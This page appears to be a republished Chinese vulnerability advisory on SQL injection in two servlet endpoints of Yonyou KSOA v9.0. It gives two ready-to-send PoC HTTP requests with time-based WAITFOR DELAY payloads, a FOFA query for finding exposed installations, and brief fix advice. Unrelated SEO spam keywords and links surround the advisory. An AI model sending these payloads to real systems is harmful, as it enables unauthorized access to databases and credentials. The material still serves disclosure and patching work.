当前位置: 首页 > news >正文

嘉兴高端网站建设品牌关键词优化哪家便宜

嘉兴高端网站建设,品牌关键词优化哪家便宜,秦皇岛政府信息公开平台,品牌活动策划方案0x01 产品简介 用友时空KSOA是建立在SOA理念指导下研发的新一代产品,是根据流通企业最前沿的I需求推出的统一的IT基础架构,它可以让流通企业各个时期建立的IT系统之间彼此轻松对话,帮助流通企业保护原有的IT投资,简化IT管理&#…

0x01 产品简介

   用友时空KSOA是建立在SOA理念指导下研发的新一代产品,是根据流通企业最前沿的I需求推出的统一的IT基础架构,它可以让流通企业各个时期建立的IT系统之间彼此轻松对话,帮助流通企业保护原有的IT投资,简化IT管理,提升竞争能力,确保企业整体的战略目标以及创新活动的实现。 

0x02 漏洞概述

   用友时空KSOA /servlet/com.sksoft.v8.trans.servlet.TaskRequestServlet接口和/servlet/imagefield接口处存在sql注入漏洞,未经身份认证的攻击者可通过该漏洞获取数据库敏感信息及凭证,最终可能导致服务器失陷。

0x03 影响范围

用友时空 KSOA v9.0

0x04 复现环境

FOFA:app="用友-时空KSOA"

 0x05 漏洞复现

PoC-1

GET /servlet/imagefield?key=readimage&sImgname=password&sTablename=bbs_admin&sKeyname=id&sKeyvalue=-1%27;WAITFOR%20DELAY%20%270:0:10%27-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML,
like Gecko)
Accept-Encoding: gzip, deflate
Connection: close

构造注入延时10秒  

 sqlmap验证

PoC-2

GET /servlet/com.sksoft.v8.trans.servlet.TaskRequestServlet?unitid=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML,
like Gecko)
Accept-Encoding: gzip, deflate
Connection: close

 sqlmap验证

 0x06 修复建议

临时缓解方案

限制访问来源地址,如非必要,不要将系统开放在互联网上。

升级修复方案

升级至安全版本或打补丁。

 

 

 

 

http://www.dinnco.com/news/5989.html

相关文章:

  • flashfxp怎么做网站百度关键词点击
  • 网站制作联盟网站开发公司哪家好
  • 网站怎么做三级的做网站企业
  • 自己的电脑做网站当服务器使用刷关键词排名软件有用吗
  • 珠海网站建设网络公司怎么样站长工具seo综合查询
  • 大图模板网站网站制作企业
  • 如何加强企业网站建设 论文6品牌策略怎么写
  • 品牌网站建设c股j东大蝌蚪和业务多一样的平台
  • 自己公司做公益网站怎么弄seo排名赚挂机
  • wordpress搜索功能优化网络优化大师
  • 百度联盟的网站怎么做百青藤广告联盟
  • 保姆给老人做爰神马网站承德seo
  • 辽阳网站建设公司百度推广多少钱一天
  • 口碑好的o2o网站建设百度app下载官方免费下载安装
  • 北京网站建设公司兴田德润专业淘宝网页版
  • 广宏建设集团有限公司网站西安网站优化推广方案
  • 扁平式网站源码上海最新新闻
  • 毕设做网站太简单外链网盘源码
  • 北京架设网站网络推广方式主要有
  • linux网站环境seo系统优化
  • 服务行业做网站舆情服务公司
  • 珠海建站谷歌推广培训
  • 外汇网站怎么做优化google官方入口
  • 设计logo的软件推荐新乡seo网络推广费用
  • 淘宝客 网站建设seo 的原理和作用
  • 中山精品网站建设方案惠州短视频seo
  • 郑州pc网站开发企业qq怎么申请
  • 做b2b网站品牌推广公司
  • 高德地图实况街景怎么打开百度seo排名优化系统
  • 网站建设怎么购买域名江西seo推广